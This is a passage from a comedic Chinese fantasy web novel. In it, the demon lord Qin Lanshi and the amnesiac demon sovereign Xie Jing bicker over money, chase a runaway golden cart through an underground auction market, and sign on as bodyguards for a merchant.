谢璟站了起来,朝秦兰时这边走了过来,他一边走一边抚着这墙壁的花纹而过,这座宫殿的花纹以恶兽相斗为主,雕刻得栩栩如生。 “而你恰到好处地出现了,秦兰时。”谢璟难得淡淡地笑了一下,随后伸出手按住了秦兰时的肩膀,一字一句地说着:“如何?可愿追随我?虽说在魔域强者为尊,可这强之一字又有多种法子,实力强大是一回事,但权势也能让人变强。” “…如果我说我不愿意呢?”秦兰时决定试探了一下这个谢璟的底线,于是也跟着勾起一抹笑,这笑容很浅,仿佛下一刻就会随着风飘走那般。 “那我就现在把你杀了。”突地,谢璟身上的气息一变,秦兰时好似感觉到一座大山随着沉重的雨朝自己压了过来:“你觉得我日后对付八人轻松些,还是七人更轻松些?” “……哈。”秦兰时笑出了声,他瞧着这个谢璟,那神态全是陌生的模样,既如此他也没必要手下留情了:“自然是七人轻松些……当然,这也是对我来说,你说呢?小魔尊。” 话音刚落,秦兰时也是释放出自己化神期的威压反逼了回去,而他也有些谨慎,毕竟现在的谢璟也不知用了什么法子居然能直接到达了化神期,也不知能不能打一场试探一下。 谢璟看着秦兰时,看了一会儿后就收回了威压,这收的速度之快,把秦兰时看得一愣一愣的。 “我现在不与你争,不过既然知道你对那几人也不满我就放心了。”谢璟重新坐回了位置上,肆无忌惮地把其宫殿主人的权利踩在地上狠狠摩擦:“对了,听说你原来是正道那边的青莲剑尊。” “那咋了?不管怎么样!你快从我位置上下来!”秦兰时觉得自己被狠狠欺负了,甚至这个还是自己曾经的小辈。 “我就问一件事。”谢璟继续坐位置上一动不动,因为他高傲地认为这天底下自己最大。 “什么?”秦兰时正想着要不要拔剑把座位砍了,这样谁都不用坐呢。 “之前在水镜里看到的那俩人是谁?” …… 秦兰时抬了抬那不存在的眼镜,笑眯眯地道:“那么这我就有话要说了。” 谢璟:……? 为什么这个人看上去那么兴奋。 第280章 失忆魔尊 在那之前…… 别看谢璟一过来就无比高傲的样子,甚至浑身上下都透露着一股王霸之气,实际上他很慌,特别特别的慌。 因为他不仅仅记忆被洗掉了,一睁开眼就发现自己躺在一个奇怪的地方,下意识的就觉得这地方怪得很,怎么又是黑棺又是花的,一点都不吉利。 一出来想问个话就有人伏地不起,甚至声音颤抖地喊他主上。 原来他身份那么高贵吗? 那他为什么一点记忆都没有。 于是谢璟面无表情地从那个人身边走过,准备出门看看,还没走几步就有个笑眯眯的家伙凑上来,一张嘴都是什么恭迎魔尊,魔尊你看上去英姿飒爽什么的。 谢璟没有记忆,所以他只能无比矜持且冷漠地嗯了一声,出于某种本能,他对这人没有好感,包括后边过来找他的几个魔主都是一样。 可他只能冷漠地嗯,说话越少越容易不犯错,冷漠完后谢璟就开始悄咪咪调查起自己的身份,无非是抓住个服侍他的魔然后威胁一番再把人打失忆离开。 由此,他得到了几点,第一魔尊是最近刚出现的,第二本是七位魔主但是最近少了一位,第三那个被魔主们喊大人不算在魔主内。 细细品味一番,谢璟明白了一切。 原来他只是个被扶持上来的傀儡,真正有权势的是那个名字叫做大人的家伙,这个人操控着一切,包括他的魔尊位置。 想到这里,谢璟就很为他的性命发愁了,不行,他不能坐以待毙,话本子不是有说吗,等那个叫做大人的掌握全部后,他这个小魔尊就没有用了。 …… 咦?他看过什么话本子这样说的? 谢璟努力想了想,没有想出来,总之他继续装模作样,勤勤恳恳当一个阴晴不定的魔尊,这样对于他后边的做事有很大的帮助。 在后边,那几个魔主突然喊他过去,说有什么好东西让他看看,谢璟不由得警惕起来,这些天的好东西无非是金银珠宝还有一堆法器,还能有什么他没有见过的宝贝吗? 难不成是骗他过去的幌子? 等他过去后就笑嘻嘻把他杀了,然后说着小魔尊你没有用了,最后谢璟死不瞑目地看着他们成功地在魔域称王称霸。 想到这里谢璟就有点不想去,但是往日里喊他去看宝贝他都去了,现在不去就有点怪了,早知如此他看且收宝贝就不看那么勤快了。 所以谢璟还是去了,去了后他立马装模作样地坐在宝座上,气势大开,王霸之气由此泄出,在他看到下边的人都站着就他坐着的时候就松口气。 真好,腿软也看不出来。 不过这几个魔主里好像有个陌生的,所以谢璟不留痕迹地多看了这人几眼,看着这人他心里总有种异样的感觉,谢璟自然不能放过这个异样的感觉了。 于是他开始想啊,难不成这是他失忆前有所交涉的家伙吗?可他实在是想不起来……等等,难不成是这几个魔主想要试探他特地把这个人带过来的? 于是谢璟的表情更加冷酷了,这种冷酷在后边水镜上那俩人出来的时候更甚,这两个人都有种让谢璟想要立马逃走的欲望,可他不能逃走,他现在身份可是魔尊,所以他只能用自己那趣味的眼神掩盖自己的心慌,顺便切一下红绳掩饰自己想要逃跑的本能动作。 终于看完后,底下的那大人又开始问那个秦兰时问题,而谢璟安静且看上去不在意地听,可能是经常听到这种试探的话,谢璟不由得对这个秦兰时起了些许同病相怜的情绪。 可那又怎样,谢璟可是魔尊,魔尊是不能太不矜持的,魔尊得是高傲的,浑身上下透露着我很凶的气息,就和话本子里一样。 …… 所以他到底都看了什么话本子? 谢璟开始怀疑自己。 而现在,他也在怀疑自己过来找秦兰时是不是一个正确的选择。 “这位是我的徒弟,他聪明伶俐,玉树临风,举世无双……”也不知秦兰时是怎么把那画像带过来的,只见他展开来,让谢璟好生一观,只见那画像上的少年立于树下,那温柔的面孔仿佛将人带到了明朗的春日里。 “……哦。”谢璟点了点头,然后麻木且冷漠地说:“下一个。” “?好啊你,这种态度,都这样了还想着我师兄是吧?”秦兰时狠狠地瞪了谢璟一眼。 谢璟露出一种困惑的眼神,他是真的困惑,这人师兄是谁,他为什么要念这个师兄。 秦兰时没有准备顾延清的画卷,而且他也不会随身携带,于是他收起唐山玉的画卷淡淡地说:“哦,我师兄就是水镜里那个看起来很凶的,不笑的……你有什么感觉吗?” “没有。”笑话,他堂堂魔尊怎么能说让自己心慌且想跑路,于是谢璟无比果断地又说了一句:“他谁?” 秦兰时顿时眼神复杂了起来,一边复杂一边说:“他是你曾经的心上人,你真没感觉?” 真的假的? 他曾经还玩魔尊暗恋仙尊这套? 谢璟努力想了一下那水镜里的顾延清那模样,又想了想自己目前的情况,好像暗恋也说得过去……不对,他可是魔尊,这些天自我洗脑出来的魔尊本尊可不能忘记。 于是谢璟矜持且冷漠地点了点头:“嗯,没有。” 秦兰时大为悲切,并且直接上手抓住其肩膀摇晃起了谢璟:“你们不要玩失忆那套啊!这也太狗血了啊啊啊啊!” “……?”谢璟被摇晃了,摇晃后他说:“没有,因为……我不搞强制爱。” 嗯? 秦兰时松开手,然后看着这个被他摇晃却没有反抗的谢璟,再听到方才那话,他笑眯眯地说:“看来没洗干净啊?” 谢璟:? 他天天都有洗澡的,你这人不要胡说八道。 “我是说记忆!记忆!想哪里去了,你往那边挤挤,我也要坐这个位置。”秦兰时说完毫不客气地坐下来把谢璟往旁边挤去,一个小小的宝座容纳两个人还是太勉强了。 “大……”胆字还没说出口呢,谢璟就被秦兰时接下来的话吸引了注意力:“记忆?” “哦?看来有发觉啊?”秦兰时想了想,没想到这魔族的洗脑那么直接,说洗就洗,压根不加点魔改的记忆进去吗? “……”谢璟一副我怎么知道的表情。 实际上魔族是有的,但是谢璟不想要那种记忆,所以他宁可记忆全无地醒过来也不愿意要那种顾延清和唐山玉对自己不好的记忆,因为他知道自己是个记仇的人。 他绝对不会对伤害过自己的人和颜悦色。 而且,那俩人是谢璟那些年记忆里对他最好的人,所以,谢璟在当初就做出了选择,尽管没有过去的他或许会很迷茫,但是对往日之情充满仇恨的他更让人无法接受。 而这,也是谢璟一次小小的抵抗,尽管这并没有人知道,魔族也只是以为这记忆法术没施展好而已。 “所以?你想要说什么?”谢璟看着很明显有话说的秦兰时,稍微放下一点矜持问出口。 “我要说的事都是真的,你要相信我。”秦兰时搓了搓手,左看看右看看,准备给这个迷茫的谢璟上点眼药。 “你说,信不信归我。”谢璟虽然失忆但并不好忽悠,所以他冷冷地扫了秦兰时一眼。 秦兰时也没管这人冷冷的态度,直接清了清嗓子,一个故事就那么娓娓道来,这个故事很长很长,因为它是一个人的过去,这个故事其实也很短很短,因为它只是一个人的过去,而这个人也还有着未来,充满着无限的可能。 “如何呢?信我吗?”秦兰时说完想喝茶,但是没有茶水喝,只能手在空中挥舞了一下又放下去。 “我只能说我听过两个关于我过去的故事,一个是你的,一个是那个人的。”谢璟想要站起来,不想和这人挤在一个位置,可才一动他发现被卡住了,于是他继续矜持地坐着假装自己没有发现那么丢人的事。 “哦?那么另一个故事版本是怎么样的?”秦兰时有些好奇地问了一下。 “我不告诉你。”谢璟淡淡地看了过来:“就像我不会告诉他这个故事那样。” “行吧,那你告诉我。”秦兰时无奈地摆了摆手,然后笑道:“你更喜欢哪个故事?” “……”谢璟沉默了一下,于是选择发力把秦兰时从身边推开,顺便破坏了宝座,好让他把被卡着,而他也能不丢人地站起来。 “哇塞!怎么突然动手!”秦兰时猝不及防,一个屁股坐在了地上,并且对谢璟开始指指点点起来。 谢璟站起来了,他整理一下衣服,然后冷冷地说:“与你无关。” “好好好!和我没关系。”秦兰时见目的达到了也不多说什么,他拍了拍衣服上的灰就站了起来:“那你总要给点钱吧,你看你,一过来就破坏了不少东西。” 谢璟冷漠地看着,不语。 “你必须给钱。”秦兰时阴暗地看了过来,这回的气势比方才和谢璟对峙还要凶残。 …… 最后,谢璟给钱了,给完就走,任由秦兰时抱着那箱金银珠宝直乐呵。 只是在离开前,谢璟回头看了这里一眼,心里头还环绕着秦兰时方才的话语。 你更喜欢哪个故事? 谢璟抿了抿唇,他想起那个大人给他讲的另一个故事的版本,那说不上是不是个不好的故事,故事里的他因为复仇才走上了魔尊这条路,因为被背叛因为被伤害,所以他对整个世界失去了念想,从而神挡杀神,佛挡杀佛。 而秦兰时故事里的他是在一个名字叫做随清宗宗门里开始的,他有师长有朋友,他会刺绣但不会喝酒,他有时候还会和朋友打闹,就连自己仰慕的师父也对自己很好,所以才会因此喜欢上的吧。 …… 很显然,第二个的他更幸福吧。 …… 既然原本如此幸福,那他为什么会在这里呢?为什么在他看到那俩人的时候心里不只有逃避,还有恐惧? 他……是做错了什么吗? 谢璟收回了这些思绪,然后彻底转身离开了这里,他觉得,暂时还是不要再过来这里的好。 第281章 大饼画之 这是一个宝箱。 宝箱里装了不少金银珠宝。 这是一个金。 这是一个银。 这是一个珠宝。 秦兰时将这些拿出来挑挑拣拣,然后又放回去看着满箱金钱的模样,他得到了满足,然后又拿出来挑挑拣拣。 就这样,赵老六看着这位魔主重复了几遍后似乎意识到了什么:“等等,既然他能拿出这一箱,是不是说明他还有更多箱?不然怎么会给得那么爽快?” “…魔主大人?”赵老六听到这话不明所以,毕竟他刚才不在,在他出去又进来后这魔主大人手里就多了一箱金银珠宝,而那位不知名的大人早就不见踪影。 “该死,还是让人走早了。”秦兰时暗骂了一句,然后将那宝箱放在地上,并且吩咐赵老六好好将其收起来。 其实不用秦兰时吩咐赵老六也会好好将其收起来,毕竟这可是钱,这对他们这座念心城的未来非常有用。 说完这话秦兰时就闪身往大门口跑去,他所过之处扬起了一阵急急的风,刮得赵老六的头发变得无比凌乱。 赵老六淡定地整理好他的发型,就过去把那箱东西收好,他也没打算贪下些,不是他道德高尚,而是方才那位魔主已经细数了好几遍,那发光的眼睛是如此的骇人,他是吃了熊心豹子胆才敢贪啊。 另一边,秦兰时就这样御剑追了一路,好不容易,他终于在地上看到一个小黑点,感觉一下那头的魔气,的确是他忘不了的谢璟魔气。 你问他为什么忘不了。 不如问问在随清宗里头,谁会忘记那个晚上呢? 咻的一下,秦兰时将剑唤回自己手上,而自己则顺势往下落去,与此同时,周身的魔气逐渐往外张狂涌去,那强烈的魔气刹那间遮住了此刻的血红天空,变成了寂静的黑。 而谢璟本来就在边走边思考,突地,他感觉到一种强烈的危机,直直地朝他而来,遂拔剑而出,一个转身,他就挡住了秦兰时那自空中落下的那一剑。 秦兰时见人挡住了又是一笑,遂使了个劲,剑与剑之间擦出了些许火光,唰的一下,秦兰时一脚踹向了谢璟那柄剑,灵活地在空中转了几个圈落地。 谢璟沉稳地看了一眼自己那因为这力道震得有些发麻的手臂,他很快就缓了过来,并且冷冷地看了过来:“你什么意思?” “你还有很多钱吧,把钱都给我吧。”秦兰时演都不演了,直接开口就要钱,并且要得理直气壮。 “不可能。”谢璟声音顿时充满了杀意,为了杀上加杀,他还特地加了一句:“除非我死。” “真难搞啊,失忆了也不吃顾延清那套了,就连我这个长辈的身份都没法用。”秦兰时有些头疼,他该怎么帮谢璟保管这些钱呢,这需要用点脑子。 “对了,你之前不是说让我跟了你吗?我同意了,你日后记得把钱全部给我,我就答应你。”秦兰时想起了这个事,反正答应后他当谢璟祖宗就行了,也没说用什么身份跟。 “不行。”谢璟这次真的非常后悔自己为什么要过来一趟了,赔了珠宝不说,甚至还被人因为钱缠上,这可是他当魔尊后偷偷摸摸攒了那么久的钱。 不可能的,他是不可能给这个人的。 给了日后他的跑路计划二怎么办。 是的,谢璟打算后边如果实在是不能称王称霸,就找个机会攒小钱钱跑路,至少自己的命必须掌握在自己手里。 反正谢璟没打算一辈子当傀儡魔尊,而且,无论是称王称霸还是跑路都可以不用当傀儡魔尊。 “你先听我说,你不是不想当傀儡魔尊吗?”秦兰时清了清嗓子,准备开始他的表演,并且拿出一张小手帕擦了擦不存在的眼泪:“你看我这个念心城作为你的事业起始点怎么样?我是说势力发展地。” “……”谢璟没有回话,但是表情好像是听进去了。 “咳咳,你听我说的,万事的起步都需要资金,更不用说魔尊您了,培养势力第一步最需要的是——”秦兰时摊开手,自信地用魔气画出了漂亮的金元宝出来给谢璟看:“钱啊!” 谢璟继续冷漠,但是神情好像有松动的痕迹。 于是秦兰时再接再厉,开始述说起未来的伟大宏景,说什么念心城的事情都可以由他们做主,甚至还有组建军队……最后的最后,进军王都,手握权势,坐上王位。 “……可是不用这样我也坐上这个位置了。”谢璟说的是坐上王位的事,要说心动是有点,但是对方要钱的目的太明确了,谢璟觉得很不靠谱。 “我还没坐过啊,你怎么能不让我也坐坐?你可以以这个为目标而努力。”秦兰时说着就对谢璟指指点点了起来:“你要学会分享。” 谢璟:? 疯子。 这种东西怎么可能有人会分享出来。 “呵。”谢璟又冷笑了一声,淡定地问道:“说出你的目的,你不可能真的想要我全部钱过来的吧?” 秦兰时微笑了一下。 “…你的目的是什么?”谢璟又问了一句。 秦兰时继续微笑。 “………”谢璟这下子也跟着安静了,但是他的脸上笑容全无,有的只是维护财产安全的冷静:“那你滚回你的小破城吧,我走了。” 反正他还有计划二。 “我开玩笑的!你等等!”秦兰时当即笑容破功,连忙拦人说:“不要全部,不要全部,只需要一点,目前我们这个城要建起来要这个数!” 谢璟:…… 可他也没有那么多。 但是如果建起来的确好处很多,再加上他也能接手城里事务,对发展势力也有极好的帮助。 谢璟当然知道既然想要成一番事业要有投资的勇气,但是秦兰时表现得太不靠谱了他才如此犹豫。 “我明白了。”谢璟点了点头。 “那……”秦兰时很是期待地看了过来:“魔尊大人你愿意……” “走吧,随我去个地方。”谢璟直接无情地转了个身,那果断的模样看得秦兰时一愣一愣的。 “什么?去哪里?”秦兰时还以为这人会立马变出一堆钱出来给他呢,怎么是这个反应。 虽然一开始秦兰时也没有想过要那么多钱,只是遵循先提出对方不能接受的条件后再提出一个更能接受的条件会比较容易成功的原则罢了。 只见谢璟带着秦兰时回到念心城里头,并且比他还熟练地来到了传送阵那儿,他淡淡地抛下几块魔晶,刹那间,地上的阵法一亮,就带着他们勇往直前地来到了另一座城。 一入此城,秦兰时就感觉到里头的气息有点不对,在接过谢璟递过来的面具后他才发现他们此行并不简单。 “这是……?”秦兰时看了看这很明显普通的城镇,名字不知道,但是他可以感觉到这里气息的凝重,而且四周也没有人,空荡荡的,好像一个死城。 “魔域的琳琅交易会,它建立在死城地下,同时也是……”谢璟戴上了自己那张黑罗刹面,未尽的话语再次在面具里响起:“赚钱的好地方。” “原来你是带我来赚钱!“秦兰时想要白嫖的计划失败了,他悲愤地戴上谢璟递过来的白罗刹面:“你不会是钱不够吧?” “怎么会。”谢璟才不会说自己钱不够,他只会淡定说:“天下哪有等钱就会来的好事,我这是在教你,莫要把我当人傻钱多的人耍。” “想赚钱。”谢璟敲了敲其中一个门,过了一会,一只枯手伸出来,上面摆着两块黑玉,谢璟拿起来把其中一枚递给秦兰时:“就要自己去。” 难得噎了一下的秦兰时接过这黑玉掂量在手上几下就收好:“行,这个人尽皆知的大道理我就不和你辩了。“ “不过,您常客啊~”秦兰时倒是有些意外:“我还以为你会一直待在宫殿里面不出来呢。” “待里面?”谢璟语气难得带上一些笑意:“我想死就一直待里面,好了,跟我来。” 秦兰时乖乖跟上了,不得不说进化后的谢璟身上的确有那么一种靠谱的气息在,这就是成长后的主角吗?他明白了。 而背对着秦兰时谢璟的面具底下露出了一张计划通的脸……咦,他为什么会露出这种表情。 谢璟定了定神,稍微调整一下面具内的表情,尽管面具戴着也没人看见,不过他还是选择把自己的冷静维持好。 可不能被人看扁了。 毕竟在魔域人弱被人欺,只有浑身上下散发着强大的气息别人就不敢惹你。 …… 差点以为自己要被秦兰时抢劫了。 谢璟想起方才的情形,也不知对上秦兰时自己能不能打得过,就算打过了也不知道会不会有下一次。 谢璟很担忧,所以他决定带秦兰时去赚钱,尽管就凭他们俩估计赚不了多少,但也是成功转移了秦兰时的注意力了。 去地下的交易所,只需要走过一个长长的楼梯,再走过长长的阵法,再通过长长的走廊,然后走对迷宫里那长长的路,就可以到达隐秘的交易所了。 其实秦兰时走到一半就不想走了,因为这个地方不能随意使用魔气,谢璟本来想把人丢下算了,但是他莫名的想起秦兰时和他畅聊的伟大宏景。 其实这个饼真的很好吃。 谢璟觉得可能后边都不会有那么好吃的饼了。 于是,谢璟把那些底下的魔进贡上来的金色小推车拿了出来,让秦兰时坐在上面,而他在后面推。 就这样,赚钱二人组顺顺利利地来到了琳琅交易会。 而此时此刻,这里正举行着一场拍卖。 第282章 奔跑吧少年 琳琅交易所,死城下的繁荣,在这里,无论是什么都可以交易,与此同时,在这里可以看出人命的廉价,甚至有时候还比上手里的一颗珠宝。 一枚金币滚落于地上。 那是上位者的恩赐。 贪婪者伏于地上,去争夺那份恩赐,为此头破血流,用那沾满鲜血的手,那最为灿烂的笑容去捧起那枚小小的金币。 如今,交易所里难得举办起了拍卖会,这拍卖会里头有着不少奇珍异宝,若自己要拍卖的物品可以被人看中,那么一夜暴富也不是什么难事。 但与此同时,也要担忧会不会落下个有钱没命花的结局。 毕竟这里,除了在交易的时候不能哄抢外,就没有其他规则了,正如在魔域各地那般,将强者为尊贯彻始终。 谢璟带了人进来后就打算让人自力更生,但他发现秦兰时好像爱上了这个小推车,都不愿意起来了。 “…起来。”谢璟冷着声,凶狠地道:“不然你就自己赚钱去。” “不行啊,我起不来了,我真的对它一见钟情了。”秦兰时特别舒服地侧躺在推车上,如果此时此刻有一杯红酒,那他得是多么有逼格的男人啊。 “……”谢璟觉得此人过于丢脸,他不屑于与此为伍,于是他打算松手自己先去赚钱。 可意外来得很快,就在谢璟要松手的时候,突地,那头打上架了,另一边也在打架了,因为这场突如其来的战斗,谢璟猛地进入了战斗状态,并且出于本能,他一个用力把那推车给往外推去。 紧接着,他拿出自己普通的剑准备抗敌,而他的无极剑是不能出现在这个地方的,不然岂不是光明正大地说你们的魔尊因为缺钱来交易所赚钱了。 那太丢人了。 总之就在谢璟拿出剑后发现这个战斗不是对他的,而是对他旁边不远处站着的魔,那魔就这样被打在地上,被人毫不留情地抢走了刚买来的法器。 谢璟松了口气,然后收起了剑,正准备伸出手继续推车走,可这一手他握了空,转头看去,那推车和秦兰时已经不见踪影了。 谢璟:…… 完了。 而在这之前,秦兰时正慢悠悠地躺在小推车上,靠他幻想出来的红酒杯装着逼,正装着的时候,突地这个推车速度加快了。 秦兰时并没有多想,只是以为谢璟突然孝顺起来开始卖力给他推车了,甚至还特地摆好了更帅气的姿势。 只是,他这个姿势真的还差个红酒杯,不行玫瑰花也行啊。 而在秦兰时沾沾自喜,自我陶醉之际,谢璟在一路追着推车和人狂奔着,这一路的横冲直撞自然是不小心得罪了几个魔,并且狠狠地将秦兰时的帅气姿势映在这几个魔的脑子里,包括推车后浑身散发着黑气奔跑的像极了凶煞的男人。 且看他们二人一推车路过了两个在打架的魔头,这俩魔头谁也不让谁,浑身都散发着不好惹的气息,而他们四周的场地早就空了一片,无人敢闯入属于他们的领域。 就在这个时候,一辆推车带着秦兰时出现了,并且肆无忌惮地猖狂路过这里,在两个魔的面子上狠狠摩擦了一番。 秦兰时甚至无比悠闲地啧啧啧了几声,然后装作有酒杯那样喝了一口空气红酒,那姿态潇洒无比,特别目中无人。 两个魔同时怒了,并且准备追上这个推车好好修理一番这个目中无人的秦兰时,就在此时,下一个人也闯入了其中,并且匆匆路过了他们,看也不看他们一眼。 面子再次遭到了践踏。 两魔震怒,不约而同先对最容易追上的谢璟出手,谢璟看了他们一眼,剑出来又收鞘,速度快得两魔都看不见,可在谢璟匆匆路过后,他们身上都出现了剑光,刹那间,身上的护体法宝衣裂开,露出了俩人光溜溜的身子。 面面相觑之际是对谢璟实力的臣服,他们面露仰慕,下定了要奉其为主的决心,可谢璟早就不管不顾,一股劲地往前冲。 眼见其推车速度之快,谢璟一时半会居然追不上,不愧是那些魔上供于他的推车,果然必出精品,于是谢璟打算走小路包抄过去。 而秦兰时与推车继续笔直行驶,路过了一个热闹的市场,并且不小心地撞翻几个摊子,秦兰时感觉到身上好像掉落了什么,一看居然是个精致的玉酒杯,当即一喜,再略看头部,也不知哪来的王冠居然让他给戴上了,并且推车上还散落不少值钱小物件。 优雅,实在是太优雅了。 就在众魔愤怒追赶秦兰时与推车之际,恰好与从小路出现的谢璟重逢,谢璟眼里只有推车,可谁知不知道哪里来的那几个魔居然对他的推车举起了法器就要轰炸过去。 当即用剑狠狠一斩,一道夹着黑色闪电的剑气就那么横扫过去,把那几魔雷得浑身不得动弹,整个魔浑身漆黑一片,头发炸着雷光而蓬松。 谢璟使完这一招后发现那推车还在往前冲,当即又迈开步伐冲去,这次他周身带着些许闪烁着的黑红雷光,一个冲刺而去,居然直接来到了推车与秦兰时的头顶。 就在谢璟伸出手,准备使用法术截停这车子的时候,猝不及防的,他直接撞在了一家店的招牌上,并且缓缓落下,露出招牌下的几个大字:好物来。 谢璟直接趴落在了地上,扬起了一阵薄薄的尘土,整个人透露出一种挫败的气息,并且颤抖地撑起身子,抬头看着推车与人扬长而去。 “这位客人……”只见一名店员颤抖地探出头来,无比积极地推销道:“要不要试试本店最新出名的飞行法器?只要998。” 刹那间,这店员的脸上就被沉甸甸的钱袋砸住了。 “拿最快的法器过来。”谢璟的胜负欲起来了,甚至牺牲掉自己的小钱钱。 “好咧客人,没问题的客人!”小店员当即用脸捧着钱,给谢璟拿来了最新款的飞行法器,“直接输送魔气就可以飞……” 谢璟一把拿过来,然后直接甩到空中,一脚踩上并且输送了魔气。 下一刻,灰尘扑了小店员满脸: “……了。” “……哎?这法器有那么大的威力吗?”小店员震惊了,他就是个推销的,好不好用他也不确定,只是想着能不能冒着这个危险赚个钱。 于是小店员拿起了说明书,只见上面写道:输送的魔气越强,速度越快,包好用的。 小店员恍然大悟。 另一边,正有一人用实力抢夺几个商人的拍卖令,是的,这种拍卖令是限量的,不仅是价高者得,且强者可以凭借实力强抢而来。 当然,有钱人也能花钱向拍卖会买几个护卫,这样就不用担心被抢了,毕竟那几个护卫是属于拍卖会的,不想得罪拍卖会的人进不去一般都不会碰他们。 但是如果买了拍卖令没有钱买护卫的话,那么这种人走在路上就容易被其他人给盯上。 而这种拍卖令无论是拿去卖,还是去讨好上边的人都是可行的。 而林异便是那种花了大价钱买了拍卖令却没有钱买护卫的那种商人其中之一,他正瑟瑟发抖地抱着自己好不容易买来的拍卖令,看着眼前的家伙:“…求求你了,大人,这次拍卖会上有能救我师父的药草,我真的不能给你……” “少废话,就差你了,快交出来!”毫无同情心的魔怎么可能会有恻隐之心,所以他当然理所当然地呵斥道:“没有能力护住拍卖令就不要买它了,这点道理在魔域那么久了还不懂吗?” 林异当然懂,但是他真的很需要这个拍卖会才咬牙买下来的,甚至攒好其他钱准备拍得治疗师父病的药草。 为了他师父,哪怕是一点点希望他都不能放弃。 “不行。”林异是少有的不弑师的魔,所以他强硬地摇头道:“除非……除非我死了!!!” “好啊,那么想死的话,那你就死在这里吧。”那人冷笑一声,准备动手,而在下一刻,一辆推车嚣张无比地撞在了他身上,并且直直地将其撞到了旁边的墙里。 而秦兰时在林异眼里宛若救世主那般登场了,戴着白罗刹面,姿态优雅潇洒,手上拿着玉杯,头戴金冠,身上还有着一些散落的金币。 “……您?”林异试探性地问了一嘴:“您是……?” “嗯?”秦兰时回过神来,他不再陶醉了,甚至发现谢璟不知道什么时候走丢了,他当即大骇,没有谢璟他怎么出去啊,他进来的时候可没有认路啊。 还没等秦兰时想明白为什么谢璟会走丢的时候,旁边墙壁里的人就怒气冲冲地出来了,并且脑袋流着血,凶狠地瞪了过来:“哪个狗崽子撞我!!” 一眼过去,他就看到了秦兰时,秦兰时和推车恰好就在他方才站着的位置上。 这不用多想,必是这人无疑。 于是这个抢劫的魔当即拿出武器就要朝着秦兰时打过去:“哼,不知死活。” 说那时那时快,他突地感觉到身上好像笼罩下了一片阴影,抬头看去,那黑罗刹面具浑身散发着黑气地闯了过来,并且手上拿着剑,狠狠地朝他这边投掷了过来。 唰的一声下,抢劫的魔再次回到了墙壁的怀抱里,然后身上还扎了一把剑,他两眼一翻,直接晕了过去。 而谢璟也终于追到了,他当即转头,怒气冲冲地朝着秦兰时和推车走过来。 秦兰时见此当即明白走丢的人是他,于是他准备举起双手想要稍微哄一下谢璟,但是他没有哄过谢璟,所以得现想一个才行:“那个……对不起,是我……”错了。 话还没说完,只见谢璟一把推开秦兰时,飞速地蹲下来摸起了那辆金色的小推车,只见他翻翻看看,最后摸上了推车底部那颗大大的红宝石。 “太好了,你还在。” 秦兰时听到此人说出了那么一句话。 第283章 拍卖会启动 红宝石的确还在,但是某些情谊因为这个红宝石荡然无存,只见秦兰时笑容灿烂地按住谢璟的肩膀,问:“你什么意思?” “要我直说?”谢璟确认完宝石还在后就将小推车收起来,并且抱臂转过身,顺便拍开在肩膀上的那只手:“要不是这红宝石,我会追着你跑一路?” “你也老大不小了。” “多大了还要我带?小孩吗?” “实力摆那里怎么着都死不了,如果死了就是你的问题。” 三句话直接狠狠地扎在秦兰时的胸口处,尤其是那句老大不小直接将秦兰时一直刻意忽悠的年龄问题摆在明面上了。 “听说你和你徒弟还是那种关系,简直就是老牛吃嫩草。”谢璟可没有忘记这人在说他过去的故事的时候一直在炫耀自己和徒弟的爱情故事,吃了一嘴狗粮的他终于找到了报复的入口。 “……”秦兰时深深吸了一口气。 “…………”秦兰时在努力控制住自己的情绪,并且努力扯出一抹笑。 “……………”秦兰时忍不住了,直接按在剑柄上就要拔出剑和这个谢璟决一死战。 谢璟突然意识到自己好像扎过头了,真的要打吗?他不是很确定自己能不能行,但是身体却无比诚实地因为这越来越浓重的危机感也按在剑柄上。 “那个……”就在这个时候,一道微弱的声音在旁边响起:“方才多谢两位,要不是两位我的拍卖令也不能拿回来,不知怎么报答两位?” 林异选择这个时候出口也是起了结交之意,毕竟这俩人看上去实力不俗,于是他的话语也斟酌了起来:“两位好像也是因为拍卖会而来的?不知可否让小的跟两位一道,方才你们也瞧见了,这拍卖令在拍卖前可是很遭哄抢的。” 与此同时,和他一起被抢的其他商人已经拿着自己的拍卖令跑掉了。 这林异戴了一张普通的面具,穿着也很朴素,看上去不像个有钱人,他语气带笑地问:“……当然,你们若是不想,小的这就………” “你能进拍卖会?”谢璟看了过去,听说拍卖令要好多钱,他可没那么钱去拍,虽说听说可以抢也是起了些许抢劫的心思。 “拍卖会是什么?”这个秦兰时可谓是纯粹无比,他真的是第一次来这里呢。 “……如果两位不嫌弃作为我的护卫进去,我可以带两位进去。”林异顿了顿,然后说:“…当然,如果可以,我也想要两位能够保护我一下,这样我也能……” “好哇。”秦兰时答应得很快:“多少钱一次?” “……?要去你自己去?”谢璟坚决不要给人当护卫,这可是他作为魔尊仅剩的尊严。 林异报了个数,这个数不算少了,但是比起那拍卖会炒起来的护卫价格可谓是便宜很多了。 是的,这拍卖会处处都想赚他们的钱,不过也是出于那些魔不敢抢劫拍卖会护卫保护的人的缘故,拍卖会肯定对买下拍卖令的商人有保障售后,但是这得加钱。 “那么多!而且就干一次!”秦兰时当即眼睛一亮,然后火速把自己给卖了:“下次有这种活动记得也要喊我,我马上过来赚钱!” “……”而谢璟犹豫了起来,虽然没有他攒的财产多,但是谁会嫌弃钱少呢,而且就干一次就有那么多了。 “来吧!我们去拍卖会吧!我还想见识一下这里的拍卖会怎么样呢?”秦兰时当即笑嘻嘻地凑过去。 “…那个,先签合同?”林异觉得自己也不是那种合同都不签就白嫖的商人,于是他小心翼翼地提醒一句。 “你提醒我了,谢谢啊,合同在哪里?”秦兰时恍然大悟,于是伸手要合同。 “这里这里。”林异拿出备好的合同递过去,本来他也打算雇佣护卫的,但是因为听说要保护拍卖令拥有者,大家都不是很敢接……有时候他怀疑这也是拍卖会计划好的。 秦兰时接过合同看看,发现没什么其他的特殊条件,是非常正规的合同,于是就提笔下来了时一的两个字。 谢璟见秦兰时作为魔主都签了,不过用的是假名,合同就这样生效了,很显然这合同给了用假名的人机会,他沉默了一下又沉默,然后也伸出手:“给我拿一份。” 反正又不用写自己真名。 “好咧好咧!”林异无比开心地递过去,太好了,他也有护卫了,至少他们应该比方才那个抢劫他的厉害。 于是,一个谢二就这样留在合同签名处。 林异看一眼就知道这是假名,不过没有关系,也是可以的,反正这个合同支持假名,只要注入的魔气是原主人的魔气就行。 就这样,秦兰时和谢璟成为了林异的临时护卫,只需要保护完他到离开这个交易所就可以了,等出去后林异打算用完自己所有的瞬移符,离开这个危险的地方。 